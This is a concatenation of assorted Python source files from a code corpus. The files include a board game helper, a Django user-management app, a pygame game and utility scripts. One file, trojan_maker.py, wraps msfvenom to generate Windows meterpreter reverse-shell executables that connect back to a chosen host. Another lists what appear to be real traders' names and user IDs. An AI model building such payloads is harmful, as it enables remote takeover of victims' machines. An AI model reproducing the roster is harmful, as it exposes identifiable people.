List.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"650929680","text":"import os , time\r\nfrom client.client import client\r\nfrom client.text_color import color\r\n\r\ndef main():\r\n \r\n client().system(\"clear\")\r\n\r\n client().system(f\"figlet Trojan Maker\")\r\n\r\n client().puts(f\"\\nWelcome to Trojan Maker\\n\\ngithub.com/CryonicsX\")\r\n\r\n client().puts(\"\"\"\r\n1: Start the Script\r\n2: MENU\r\n \"\"\")\r\n\r\n selection = client().read(f\"Enter transaction number \")\r\n\r\n if selection == \"1\":\r\n\r\n ip = client().read(f\"{color.GREEN}Enter Local or Dis IP{color.RESET_ALL} \")\r\n port = client().read(f\"{color.GREEN}Enter port{color.RESET_ALL} \")\r\n\r\n client().puts(f\"\"\"\r\n 1: windows/meterpreter/reverse-tcp\r\n 2: windows/meterpreter/recerse-http\r\n \r\n \"\"\")\r\n\r\n payload = client().read(f\"{color.GREEN}Enter the number \")\r\n logs = client().read(f\"Enter the log file location {color.RESET_ALL}\")\r\n client().puts(f\"{color.GREEN}[✔] Starting ...{color.RESET_ALL}\")\r\n time.sleep(2.5)\r\n if payload == \"1\":\r\n client().system(f\"msfvenom -P windows/meterpreter/reverse-tcp LHOST={ip} LPORT={port} -f exe -o{logs}\")\r\n \r\n elif payload == \"2\":\r\n client().system(f\"msfvenom -P windows/meterpreter/reverse-http LHOST={ip} LPORT={port} -f exe -o{logs}\")\r\n\r\n elif selection == \"2\":\r\n client().system(\"python3 main.py\")\r\n\r\n else:\r\n client().puts(\"There is no such option\")\r\n \r\n returnED = client().read(f\"{color.GREEN} Do you want to make a new make?(Y/N) {color.RESET_ALL}\").lower()\r\n\r\n if returnED == \"y\":\r\n client().system(\"python3 tools/trojan_maker.py\")\r\n\r\n\r\n elif returnED == \"n\":\r\n client().puts(f\"\"\"\r\nView My Other Projects On Github:\r\n\r\n{color.YELLOW}https://github.com/CryonicsX\\n\\nhttps://github.com/Reflechir{color.RESET_ALL}\r\n\r\ngoodbye 👍👍\r\n \"\"\")\r\n\r\n\r\n else:\r\n client().puts(\"There is no such option\")\r\n\r\n\r\nif __name__ == '__main__' and os.name == 'posix':\r\n if os.getuid() == 0:\r\n main()\r\nelse:\r\n client().puts(f\"\"\"\r\n \r\n{color.GREEN} \r\n█░█ ▄▀█ █▀▀ █▄▀ █ █▄░█ █▀▀   ▀█▀ █▀█ █▀█ █░░   █▄▀ █ ▀█▀ █▀ Developed by CryonicX & Ref\r\n█▀█ █▀█ █▄▄ █░█ █ █░▀█ █▄█   ░█░ █▄█ █▄█ █▄▄   █░█ █ ░█░ ▄█\r\n{color.RESET_ALL}\r\n\r\n{color.RED}[!] You can run this script only on debian system.{color.RESET_ALL}\r\n\r\n \r\nView My Other Projects On Github:\r\n\r\n{color.YELLOW}https://github.com/CryonicsX\\n\\nhttps://github.com/Reflechir{color.RESET_ALL}\r\n\r\ngoodbye 👍👍\r\n \"\"\")\r\n","sub_path":"tools/trojan_maker.py","file_name":"trojan_maker.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"37871331","text":"from rules import UTILITIES, PROPERTIES, ACTION\n\n\ndef build_board(utilities, properties, action, valid_board_length):\n utilities_tiles = [utilities[key]['Position'] for key in utilities]\n properties_tiles = [properties[key]['Position'] for key in properties]\n \n # Unpack nested lists\n action_tiles = [item \n for sublist \n in [action[key]['Position'] for key in action]\n for item \n in sublist]\n \n complete_board = utilities_tiles + properties_tiles + action_tiles\n complete_board.sort()\n assert range(valid_board_length) == complete_board\n \n return complete_board\n \n","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"45105267","text":"TRADER_CODE_PORTFOLIO_DICT = {\n\n 'VK': 'Kurella',\n\n 'TZ': 'Tezgul',\n\n 'BO': 'Brodie',\n\n 'VS': 'Metsovitis',\n\n}\n\nTRADER_USER_ID_DICT = {\n\n 'WH': {'USER_ID': 'aabuwala', 'FIRST_NAME': 'Anish', 'LAST_NAME': 'Abuwala', },\n\n 'WG': {'USER_ID': 'wkang', 'FIRST_NAME': 'Khai', 'LAST_NAME': 'Ang', },\n\n 'IB': {'USER_ID': 'ibarrett', 'FIRST_NAME': 'Iomar', 'LAST_NAME': 'Barret', },\n\n 'BZ': {'USER_ID': 'jberkowitz', 'FIRST_NAME': 'Joshua', 'LAST_NAME': 'Berkowitz', },\n\n 'BO': {'USER_ID': 'jbrodie', 'FIRST_NAME': 'Joshua', 'LAST_NAME': 'Brodie', },\n\n 'TA': {'USER_ID': 'tcascella', 'FIRST_NAME': 'Tommaso', 'LAST_NAME': 'Cascella', },\n\n 'CZ': {'USER_ID': 'cdeazeley', 'FIRST_NAME': 'Christian', 'LAST_NAME': 'Deazeley', },\n\n 'JQ': {'USER_ID': 'jdouglas', 'FIRST_NAME': 'Jamie', 'LAST_NAME': 'Douglas', },\n\n 'JE': {'USER_ID': 'jeff', 'FIRST_NAME': 'Jeffrey', 'LAST_NAME': 'Enslin', },\n\n 'AG': {'USER_ID': 'agamage', 'FIRST_NAME': 'Arjuna', 'LAST_NAME': 'Gamage', },\n\n 'AH': {'USER_ID': 'ahill', 'FIRST_NAME': 'Andrew', 'LAST_NAME': 'Hill', },\n\n 'KT': {'USER_ID': 'gknight', 'FIRST_NAME': 'Greg', 'LAST_NAME': 'Knight', },\n\n 'OK': {'USER_ID': 'okunur', 'FIRST_NAME': 'Omkar', 'LAST_NAME': 'Kunur', },\n\n 'VK': {'USER_ID': 'vkurella', 'FIRST_NAME': 'Vishnu', 'LAST_NAME': 'Kurella', },\n\n 'AL': {'USER_ID': 'alaw', 'FIRST_NAME': 'Andrew', 'LAST_NAME': 'Law', },\n\n 'JM': {'USER_ID': 'jmartin', 'FIRST_NAME': 'James', 'LAST_NAME': 'Martin', },\n\n 'JV': {'USER_ID': 'jmckeever', 'FIRST_NAME': 'James', 'LAST_NAME': 'McKeever', },\n\n 'LL': {'USER_ID': 'smellor', 'FIRST_NAME': 'Stephen', 'LAST_NAME': 'Mellor', },\n\n 'VS': {'USER_ID': 'emetsovitis', 'FIRST_NAME': 'Stathis', 'LAST_NAME': 'Metsovitis', },\n\n 'HS': {'USER_ID': 'smittal', 'FIRST_NAME': 'Sugandh', 'LAST_NAME': 'Mittal', },\n\n 'OH': {'USER_ID': 'jmohammad', 'FIRST_NAME': 'Junaid', 'LAST_NAME': 'Mohammad', },\n\n 'PC': {'USER_ID': 'mpeck', 'FIRST_NAME': 'Matthew', 'LAST_NAME': 'Peck', },\n\n 'PZ': {'USER_ID': 'aperez', 'FIRST_NAME': 'Alonso', 'LAST_NAME': 'Perez Kakabadse', },\n\n 'RN': {'USER_ID': 'predston', 'FIRST_NAME': 'Peter', 'LAST_NAME': 'Redston', },\n\n 'RI': {'USER_ID': 'trishi', 'FIRST_NAME': 'Tim', 'LAST_NAME': 'Rishi', },\n\n 'RC': {'USER_ID': 'croundell', 'FIRST_NAME': 'Charles', 'LAST_NAME': 'Roundell', },\n\n 'RW': {'USER_ID': 'arowe', 'FIRST_NAME': 'Aaron', 'LAST_NAME': 'Rowe', },\n\n 'SF': {'USER_ID': 'psaif', 'FIRST_NAME': 'Pedram', 'LAST_NAME': 'Saif', },\n\n 'YS': {'USER_ID': 'ysasaki', 'FIRST_NAME': 'Yukio', 'LAST_NAME': 'Sasaki', },\n\n 'SW': {'USER_ID': 'aschiffrin', 'FIRST_NAME': 'Andrew', 'LAST_NAME': 'Schiffrin', },\n\n 'HH': {'USER_ID': 'rshah', 'FIRST_NAME': 'Rohit', 'LAST_NAME': 'Shah', },\n\n 'SY': {'USER_ID': 'gosherry', 'FIRST_NAME': 'Geoff', 'LAST_NAME': 'Sherry', },\n\n 'SO': {'USER_ID': 'ssmidt', 'FIRST_NAME': 'Simon', 'LAST_NAME': 'Smidt', },\n\n 'GH': {'USER_ID': 'gsmith', 'FIRST_NAME': 'Gray', 'LAST_NAME': 'Smith', },\n\n 'HF': {'USER_ID': 'gsodhoffs', 'FIRST_NAME': 'Gabriel', 'LAST_NAME': 'Sod Hoffs', },\n\n 'TZ': {'USER_ID': 'mtezgul', 'FIRST_NAME': 'Mehmet', 'LAST_NAME': 'Tezgul', },\n\n 'DT': {'USER_ID': 'dthomas', 'FIRST_NAME': 'Dale', 'LAST_NAME': 'Thomas', },\n\n 'HU': {'USER_ID': 'cthorburn', 'FIRST_NAME': 'Charles', 'LAST_NAME': 'Thorburn', },\n\n 'XT': {'USER_ID': 'fturton', 'FIRST_NAME': 'Felix', 'LAST_NAME': 'Turton', },\n\n 'VV': {'USER_ID': 'svalavanis', 'FIRST_NAME': 'Stavros', 'LAST_NAME': 'Valavanis', },\n\n 'WI': {'USER_ID': 'awick', 'FIRST_NAME': 'Andrew', 'LAST_NAME': 'Wick', },\n\n 'MZ': {'USER_ID': 'mwillis', 'FIRST_NAME': 'Matthew', 'LAST_NAME': 'Willis', },\n\n 'HT': {'USER_ID': 'jthaar', 'FIRST_NAME': 'James', 'LAST_NAME': 'ter Haar', },\n\n 'SK': {'USER_ID': 'skraft', 'FIRST_NAME': 'Stuart', 'LAST_NAME': 'Kraft', },\n\n 'GA': {'USER_ID': 'gchang', 'FIRST_NAME': 'Ganlin', 'LAST_NAME': 'Chang', },\n\n 'UR': {'USER_ID': 'dcurtin', 'FIRST_NAME': 'David', 'LAST_NAME': 'Curtin', },\n\n}","sub_path":"Caxton/panormus_OLD/utils/ref_data.py","file_name":"ref_data.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"128731987","text":"\n\nimport sys\nimport re\n\ndef int_to_binary_string(x, length=0):\n formatter = \"{:0\" + str(length) + \"b}\"\n return formatter.format(x)\n\ndef zero_string_of_length(length):\n result = \"\"\n for i in range(length):\n result += \"0\"\n return result\n\ndef is_all_ones(s):\n for c in s:\n if c != '1':\n return False\n return True\n\nkey_cache = {}\ndef get_key_for_index(index):\n if index in key_cache:\n return key_cache[index]\n if index == 0:\n result = zero_string_of_length(1)\n else:\n previous = get_key_for_index(index-1)\n previous_plus_one = int_to_binary_string(int(previous, 2) + 1,\n len(previous))\n if is_all_ones(previous_plus_one):\n result = zero_string_of_length(len(previous) + 1)\n else:\n result = previous_plus_one\n key_cache[index] = result\n return result\n\n\ncef = open(input(), \"r\")\nfor lines in cef:\n\tlines = lines.strip()\n\tmsg = re.split(r\"[01]+\", lines)\n\t\n\t\n\tkeys = msg[0]\n\t\n\tcoded = lines[len(keys):]\t\n\t\n\tallkeys = []\n\tcnt = 0\n\ttmp = coded\n\twhile True:\t\t\n\t\tbinlen = int(tmp[:3], 2)\n\t\t#print(\"binlen:\", binlen)\n\t\tif tmp[:3] == \"000\": break\t\t\n\t\ttmp = tmp[3:]\n\t\t#print(tmp)\n\t\ti = 0\n\t\twhile i < len(tmp):\n\t\t\tnextkey = tmp[:binlen]\n\t\t\tif nextkey == \"1\" * binlen:\t\t\t\t\n\t\t\t\ttmp = tmp[binlen:]\n\t\t\t\t#print(\"After\",tmp)\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\ttmp = tmp[binlen:]\n\t\t\t\tallkeys.append(nextkey)\n\t\t\t\ti += binlen\t\n\t\tif len(tmp) <= 0:\n\t\t\tbreak\n\tindex = 0\n\tmapping = {}\n\tfor c in list(keys):\n\t\tkey = get_key_for_index(index)\n\t\tmapping[key] = c\n\t\tindex += 1\n\tdecoded = \"\"\n\tfor a in allkeys:\n\t\tdecoded += mapping.get(a, \"\")\n\tprint(decoded)\t \t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n","sub_path":"Codeeval/decode_msg.py","file_name":"decode_msg.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"595305740","text":"import random\r\nimport webbrowser\r\nturn=0\r\nhealth=100\r\namunition=0\r\nday=0\r\nsurvivors=[\"you\"]\r\nrandom_cards=[\"Someone must die\",\"You find fred\",\"landmine 1-4 means you die\",\"A plane drops supplies\",]\r\nglobal card1\r\ndef diceone(num):\r\n global dice1\r\n dice1=random.randint(1,num)\r\n return dice1\r\ndef dicetwo(num):\r\n global dice2\r\n dice2=random.ranint(1,num)\r\n return dice2\r\ndef next_turn(a):\r\n turn=a+1\r\n print(str(turn))\r\ndef change_time(a,b):\r\n time=a+b\r\n if time==2400:\r\n time=0000\r\n print(time)\r\ndef amo(a,b):\r\n amunition=a+b\r\n print(amunition)\r\ndef pickupcard():\r\n global card1\r\n length=len(random_cards)\r\n card1 = random_cards[random.randint(0,length)]\r\n random_cards.remove(card1)\r\n return card1\r\nchange_time(2300,100)\r\namo(amunition,60)\r\nprint(\"Welcome to zombie apocalypse\")\r\nprint(\"You run to the themepark and meet the mystery gang, here are your comrades:\")\r\nsurvivors=[\"Shaggy\",\"Scooby\",\"Velma\",\"Daphne\"]\r\nprint(survivors)\r\nprint(\"you must pick up a card\")\r\npickupcard()\r\nprint(card1)\r\nif card1==random_cards[0]:\r\n print(\"you must roll the dice to find out who must die in your group\")\r\n print(survivors)\r\n diceone(len(survivors))\r\n survivors.remove(survivors[dice1])\r\n random_cards.remove(card1[dice1])\r\n print(survivors)\r\nif card1==random_cards[1]:\r\n survivors.append(\"Fred\")\r\n random_cards.remove(card1[dice1])\r\n print(survivors)\r\nif card1==random_cards[2]:\r\n random_cards.remove(card1[dice1])\r\nprint(\"hello\")\r\n\r\n","sub_path":"Zombie apocalypse.py","file_name":"Zombie apocalypse.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"208932740","text":"#!/usr/bin/python\n\nimport os\nimport gi\ngi.require_version('Notify', '0.7')\nfrom gi.repository import Notify\n\nALERT_TRESHOLDS = 0.80\nSHUTDOWN_TRESHOLD = 0.10\n\ndef get_data_from_file(filePath):\n f = open(filePath, 'r')\n res = f.read()\n f.close()\n return res\n\nenergy_now = get_data_from_file('/sys/class/power_supply/BAT0/energy_now')\nenergy_full = get_data_from_file('/sys/class/power_supply/BAT0/energy_full')\nenergy_percent = int(energy_now) / int(energy_full)\nbattery_state = get_data_from_file('/sys/class/power_supply/BAT0/status').rstrip()\n\nif (energy_percent < SHUTDOWN_TRESHOLD and battery_state == 'Discharging'):\n os.system('echo \"done\" > /home/tim/done')\n\nif (energy_percent < ALERT_TRESHOLDS and battery_state == 'Discharging'):\n Notify.init(\"Battery low\")\n battery_notif = Notify.Notification.new(\"Battery low\", \n \"Low battery, the computer will shut down if not connected in time.\", \"dialog-information\")\n battery_notif.show()\n\n\n","sub_path":"battery/script-01.py","file_name":"script-01.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"309816208","text":"import pygame\nimport sys\nimport pandas as pd\nimport random\n\nfrom settings import *\nfrom player import Player\nfrom rock import Rock\n\ninfo = pd.read_csv(\"levels.csv\")\nnumLevels = info[\"Level\"].max()\nglobal level\nlevel = info[\"Level\"].min()\n#level -= 1\nlevelInfo = info.iloc[level]\n\nrocks = []\nplayer = Player(20, 250)\n\nglobal goahead\ngoahead = False\n\ndef init():\n global rocks\n rocks = []\n try:\n levelInfo = info.iloc[level]\n except:\n global goahead\n goahead = True\n else:\n for i in range(levelInfo[\"numRock\"]):\n rocks.append(Rock(random.randint(300, 500), random.randint(200, 300), random.randint(-5, 5), random.randint(-5, 5), random.randint(10, 50)))\n\ndef main():\n global level\n pygame.init()\n init()\n pygame.display.set_caption(NAME)\n\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n screen.fill(BLACK)\n\n pygame.display.flip()\n\n playing = True\n\n clock = pygame.time.Clock()\n\n while playing:\n if goahead:\n pygame.quit()\n playing = False\n continue\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit(\"Game has been exited. Goodbye!\")\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_w:\n player.yv -= Player.speed\n if event.key == pygame.K_s:\n player.yv += Player.speed\n if event.key == pygame.K_a:\n player.xv -= Player.speed\n if event.key == pygame.K_d:\n player.xv += Player.speed\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_w:\n player.yv *= 0.9\n if event.key == pygame.K_s:\n player.yv *= 0.9\n if event.key == pygame.K_a:\n player.xv *= 0.9\n if event.key == pygame.K_d:\n player.xv *= 0.9\n\n player.move()\n pygame.draw.polygon(screen, BLUE, [[player.x - player.size / 2, player.y + player.size / 2],\n [player.x + player.size / 2, player.y],\n [player.x - player.size / 2, player.y - player.size / 2]], 0)\n\n for rock in rocks:\n if rock.x == player.x and rock.y == player.y:\n player.x = 20\n for rock in rocks:\n pygame.draw.rect(screen, RED, pygame.Rect(rock.x, rock.y, rock.size, rock.size), 1)\n rock.move()\n rock.bounce()\n if rock.y < player.y < rock.y + rock.size and rock.x < player.x < rock.x + rock.size:\n init()\n player.x = 20\n if player.x > WIDTH:\n player.x = 20\n level += 1\n init()\n\n pygame.display.flip()\n screen.fill(BLACK)\n\n print(\"You have won! GG!\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"629650069","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom PWManagement.models import tyqUser, tyqChange, tyqLeaveWord\n\n# Create your views here.\n\ndef homepage(request): # 主页视图函数,直接跳转登录页\n return HttpResponseRedirect(reverse('login'))\n # user = request.user if request.user.is_authenticated() else None\n # content={\n # 'user': user,\n # }\n # return render(request, 'PWManagement/homepage.html', content)\n\ndef homecommon(request): # 普通用户的主页视图函数\n user = request.user if request.user.is_authenticated() else None\n if user is None:\n return HttpResponseRedirect(reverse('login'))\n elif user.is_superuser:\n return HttpResponseRedirect(reverse('homemanager'))\n\n content={\n 'user': user,\n }\n return render(request, 'PWManagement/homecommon.html', content)\n\ndef homemanager(request): # 管理员用户的主页视图函数\n user = request.user if request.user.is_authenticated() else None\n if user is None:\n return HttpResponseRedirect(reverse('login'))\n elif not user.is_superuser:\n return HttpResponseRedirect(reverse('homecommon'))\n\n content={\n 'user': user,\n }\n return render(request, 'PWManagement/homemanager.html', content)\n\ndef login(request): # 验证用户信息,登录\n if request.user.is_authenticated():\n return HttpResponseRedirect(reverse('homecommon'))\n\n state = None\n if request.method == \"POST\":\n tempusername = request.POST.get('username', '') \n temppassword = request.POST.get('password', '')\n tempuser = auth.authenticate(username=tempusername, password=temppassword)\n\t# 验证密码是否正确\n\n if tempuser is not None: # 已经登录的用户跳转到相应的页面\n auth.login(request, tempuser)\n if tempuser.is_superuser :\n return HttpResponseRedirect(reverse('homemanager'))\n else:\n return HttpResponseRedirect(reverse('homecommon'))\n else:\n state = 'not_exist_or_password_error'\n\n content={\n 'state': state,\n 'user': None\n }\n return render(request, 'PWManagement/login.html', content)\n\ndef logout(request):\n auth.logout(request)\n return HttpResponseRedirect(reverse(\"login\"))\n\n# manager\n\ndef useradd(request): # 管理员添加用户\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser:\n return HttpResponseRedirect(reverse('login'))\n\n state = None\n if request.method == 'POST': # 接受浏览器端发来的注册信息\n tempusername = request.POST.get('username', '')\n temppassword = request.POST.get('password', '')\n temppasswordagain = request.POST.get('passwordagain', '')\n tempemail = request.POST.get('email', '')\n temprealname = request.POST.get('realname', '')\n tempsex = request.POST.get('sex', '')\n tempdepartment = request.POST.get('department', '')\n tempaddress = request.POST.get('address', '')\n\n if tempusername == '': # 检查注册信息的正确性\n state = \"username_empty\"\n elif temppassword == '' or temppasswordagain == '':\n state = 'password_empty'\n elif temppassword != temppasswordagain :\n state = 'repeat_error'\n elif User.objects.filter(username=tempusername):\n state = 'user_exist'\n else:\n new_user = User.objects.create_user(username=tempusername, email=tempemail, password=temppassword)\n new_user.save()\n new_tyquser = tyqUser(tmpuser=new_user, user_realname=temprealname, user_sex=tempsex, user_department=tempdepartment, user_address=tempaddress)\n new_tyquser.save()\n state = 'success'\n\n content={\n 'user': user,\n 'state': state,\n }\n return render(request, 'PWManagement/useradd.html', content)\n\ndef userlist(request): # 管理员查看用户列表\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser:\n return HttpResponseRedirect(reverse('login'))\n\n userlist=User.objects.filter(is_superuser=0) # 只显示普通用户,管理员不显示在用户列表中\n\n content={\n 'user': user, \n 'userlist': userlist\n }\n return render(request, \"PWManagement/userlist.html\", content)\n\ndef recordlist(request): # 用户信息修改申请记录列表\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser:\n return HttpResponseRedirect(reverse('login'))\n\n records = tyqChange.objects.all()\n content={\n 'user': user, \n 'records': records,\n }\n return render(request, \"PWManagement/recordlist.html\", content)\n\n# common users\n\ndef userdetail(request, targetid): # 用户信息详情\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser and user.id != int(targetid):\n return HttpResponseRedirect(reverse(\"login\"))\n\n targetuser = User.objects.get(id=targetid)\n\n content={\n 'user': user,\n 'targetuser': targetuser,\n }\n return render(request, \"PWManagement/userdetail.html\", content)\n\ndef userchange(request, targetid): # 用户修改信息\n user = request.user if request.user.is_authenticated() else None\n if user.id != int(targetid):\n return HttpResponseRedirect(reverse(\"login\"))\n\n targetuser = User.objects.get(id=targetid)\n state=None\n\n if request.method == \"POST\":\n # tempoldpassword = request.POST.get('oldpassword','')\n # temppassword = request.POST.get('password','')\n # temppasswordagain = request.POST.get('passwordagain','')\n tempemail = request.POST.get('email','')\n temprealname = request.POST.get('realname','')\n tempsex = request.POST.get('sex','')\n tempdepartment = request.POST.get('department','')\n tempaddress = request.POST.get('address','')\n\n # if not((tempoldpassword is not None and temppassword is not None and temppasswordagain is not None) or (tempoldpassword is None and temppassword is None and temppasswordagain is None)):\n # state = 'password_error'\n # elif (tempoldpassword is not None and temppassword is not None and temppasswordagain is not None) and (temppassword != temppasswordagain):\n # state = 'password_error'\n # elif not auth.authenticate(username=targetuser.username, password=tempoldpassword):\n # state = 'password_error'\n # else:\n # return HttpResponseRedirect(reverse('login'))\n\n temp_tyquser = tyqUser.objects.get(tmpuser_id = targetid)\n # print(temp_tyquser.user_realname)\n new_change = tyqChange(change_user=temp_tyquser, change_email=tempemail, change_realname=temprealname, change_sex=tempsex, change_department=tempdepartment, change_address=tempaddress)\n new_change.save()\n state=\"success\"\n\n content={\n 'user': user,\n 'targetuser': targetuser,\n 'state': state,\n }\n return render(request, \"PWManagement/userchange.html\", content)\n\ndef recorddetail(request, targetid): # 普通用户查看信息修改记录\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser and user.id != int(targetid):\n return HttpResponseRedirect(reverse(\"login\"))\n\n targetuser = User.objects.get(id=targetid)\n temp_tyquser = tyqUser.objects.get(tmpuser_id = targetid)\n try:\n targetrecord = tyqChange.objects.get(change_user = temp_tyquser.id)\n except tyqChange.DoesNotExist:\n return HttpResponseRedirect(reverse(\"login\"))\n leavewordlist = tyqLeaveWord.objects.filter(lw_change_id=targetrecord.id).order_by('lw_time')\n # 留言根据时间排序\n\n content={\n 'user': user,\n 'targetuser': targetuser,\n 'targetrecord': targetrecord,\n 'leavewordlist': leavewordlist,\n }\n return render(request, \"PWManagement/recorddetail.html\", content)\n\ndef managertorecorddetail(request, targetid): # 管理员查看用户信息修改记录\n user = request.user if request.user.is_authenticated() else None\n if not user.is_superuser:\n return HttpResponseRedirect(reverse(\"login\"))\n temp_tyquser = tyqUser.objects.get(id=targetid)\n return HttpResponseRedirect(reverse(\"recorddetail\", args=(temp_tyquser.tmpuser_id, )))\n\ndef recorddeal(request, targetchange, isagree): # 管理员处理用户信息修改申请,拒绝/通过\n if int(isagree) == 0:\n tyqChange.objects.get(id=targetchange).delete() # 拒绝,直接删除申请记录\n else:\n change = tyqChange.objects.get(id=targetchange)\n change_user = tyqUser.objects.get(id=change.change_user_id)\n djuser = User.objects.get(id = change_user.tmpuser_id)\n\n tempemail = change.change_email\n tempsex = change.change_sex\n tempdepartment = change.change_department\n tempaddress = change.change_address\n\n if tempemail is not None:\n djuser.email = tempemail\n if tempsex is not None:\n change_user.user_sex = tempsex\n if tempdepartment is not None:\n change_user.user_department = tempdepartment\n if tempaddress is not None:\n change_user.user_address = tempaddress\n djuser.save()\n change_user.save()\n tyqChange.objects.get(id=targetchange).delete() # 通过,先修改数据库中的用户个人信息,再删除申请记录\n return HttpResponseRedirect(reverse('recordlist'))\n \ndef addleaveword(request, changeid): # 添加留言\n user = request.user if request.user.is_authenticated() else None\n templeaveword = request.POST.get('leaveword', '')\n tempchange = tyqChange.objects.get(id=changeid)\n\n newleaveword = tyqLeaveWord(lw_change=tempchange, lw_user_id=user.id, lw_content=templeaveword)\n newleaveword.save()\n\n if user.is_superuser :\n # return HttpResponseRedirect(reverse(\"managertorecorddetail\", args=(changeid, )))\n return HttpResponseRedirect(reverse(\"recordlist\"))\n else:\n return HttpResponseRedirect(reverse(\"recorddetail\", args=(user.id, )))\n","sub_path":"13_Programming_Week_in_School/ProgrammingWeek/PWManagement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"251027401","text":"import re\n\nfrom django import template\nfrom django.template import Library\nfrom django.template.defaultfilters import stringfilter\n\nregister = Library()\n\n\nCL_VALUE_RE = re.compile('value=\\\"([^\"]*)\\\"')\n\n\n@register.filter\ndef admin_change_list_value(result_checkbox_html):\n \"\"\"Extract value from rendered admin list action checkbox.\"\"\"\n value = CL_VALUE_RE.findall(result_checkbox_html)\n return value[0] if value else None\n\n\n@register.filter\n@stringfilter\ndef template_exists(value):\n try:\n template.loader.get_template(value)\n return True\n except template.TemplateDoesNotExist:\n return False\n","sub_path":"material/templatetags/material.py","file_name":"material.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"548363881","text":"#!/usr/bin/env python\n# coding:utf-8\n\"\"\"\nName : 消息publisher.py\nAuthor : anne\nTime : 2019-09-02 17:11\nDesc:\n\"\"\"\nimport pika\n\nconnection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='logs',\n exchange_type='fanout')#之前写的type会报错\n\nresult = channel.queue_declare(queue='anne2') # 不指定queue名字,rabbit会随机分配一个名字,exclusive=True会在使用此queue的消费者断开后,自动将queue删除\nqueue_name = result.method.queue\n\nchannel.queue_bind(exchange='logs',\n queue=queue_name)\n\nprint(' [*] Waiting for logs. To exit press CTRL+C')\n\n\ndef callback(ch, method, properties, body):\n print(\" [x] %r\" % body)\n\n\nchannel.basic_consume(queue_name,callback,True)\n\nchannel.start_consuming()","sub_path":"Day12/消息发布or订阅/消息publisher.py","file_name":"消息publisher.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"542287615","text":"\"\"\"\nValues of each attribute have mean 0 and standard deviation 2\n\"\"\"\nfrom pandas import read_csv\nfrom numpy import set_printoptions\nfrom sklearn.preprocessing import StandardScaler\nnames = ['preg', 'plas', 'pres', 'skin',\n 'test', 'mass', 'pedi', 'age', 'class']\ndata = read_csv('datasets/pima-indians-diabetes.data.csv', names=names)\npeek = data.head(5)\nprint(peek)\narray = data.values\n# print(array)\nprint(\"Test\")\nX = array[:, 0:8]\nY = array[:, 8]\nprint(X)\nscaler = StandardScaler().fit(X)\nrescaledX = scaler.transform(X)\nprint(scaler)\nset_printoptions(precision=3)\nprint(rescaledX[0:9, :])\n","sub_path":"9_standardize_data.py","file_name":"9_standardize_data.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"276675937","text":"from fabric import task\n\nGIT_REPO = 'https://github.com/afrolovskiy/akvant.git '\nPROJECT_PATH = '/usr/local/akvant'\nENV_DIR = 'env'\n\n@task\ndef deploy(c):\n with c.cd(PROJECT_PATH):\n c.run('git fetch && git reset --hard origin/master')\n c.run('{}/bin/pip3 install -r requirements.txt'.format(ENV_DIR))\n c.run('{}/bin/python3 manage.py migrate'.format(ENV_DIR))\n c.run('{}/bin/python3 manage.py collectstatic --noinput'.format(ENV_DIR))\n c.sudo('supervisorctl reload')\n c.sudo('supervisorctl restart akvant')\n c.sudo('systemctl restart nginx')\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"327673386","text":"def reverse(s):\n \"\"\"\n >>> reverse('happy')\n 'yppah'\n >>> reverse('Python')\n 'nohtyP'\n >>> reverse(\"\")\n ''\n >>> reverse(\"P\")\n 'P'\n \"\"\"\n i=len(s)-1\n output=\"\"\n while 0<=i>> mirror(\"good\")\n 'gooddoog'\n >>> mirror(\"yes\")\n 'yessey'\n >>> mirror('Python')\n 'PythonnohtyP'\n >>> mirror(\"\")\n 